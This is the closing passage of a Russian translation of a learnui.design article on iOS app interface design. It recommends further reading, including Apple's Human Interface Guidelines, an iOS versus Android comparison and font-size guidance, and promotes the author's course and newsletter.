Руководство Apple «Human Interface Guidelines» для iOS. Известно, что стандарты Apple трудно читать. Сначала вам нужно пройтись по их абстрактным принципам, и вы постоянно будете сталкиваться с их нестандартной терминологией (почему списки называются «Таблицами» (Tables ) и расположены в разделе «Представления» (Views) !? Разве это не должно быть в разделе «Элементы управления»? Нет, но по-видимому, простой текст является «элементом управления» – просто посмотрите раздел «Метки» (Labels). В любом случае, я скажу, что, как только вы перестроите свое мышление, руководство Apple обретет больше смысла. Кроме того, если вы проектируете приложение для iPhone, вам все равно придётся его прочитать. Лучше всего к этому привыкнуть.

iOS vs. Android App UI Design: Полное руководство. Хорошо, допустим, вы решите, что в какой-то момент будете делать версию своего приложения для Android. Лучше всего начать думать о некоторых конструктивных различиях уже сейчас. Кто знает, в конечном итоге возможно вы позаимствуете ряд идей из принципов дизайна Android.

Рекомендации по размерам шрифта iOS. Одна из самых неожиданных частей в разработке интерфейса – это интуитивное понимание того, какой размер шрифта использовать. Итак, чтобы помочь с этим, я написал самое полное в мире руководство по размерам шрифтов.

iOS дизайн рекомендации от Ivo Mynttinen. Самое полное руководство, которое я смог найти, по созданию приложений для iPhone, написанное понятным языком (помимо этой статьи ?).

Подводя итог

Я что-то упустил? В чем-то ошибся? Напишите мне erik@learnui.design. Я буду обновлять это руководство для повышения его точности и читабельности.

Последнее примечание ?

Вас также могут заинтересовать:

• Learn UI Design, мой полноформатный онлайн-видео курс по дизайну пользовательского интерфейса
• The Design Newsletter, информационная рассылка, на которую уже подписалось более 50 000 человек. Она содержит оригинальные статьи о дизайне, нацеленные на предоставление вам тактических советов по улучшению ваших UX / UI навыков.

Перевод статьи learnui.design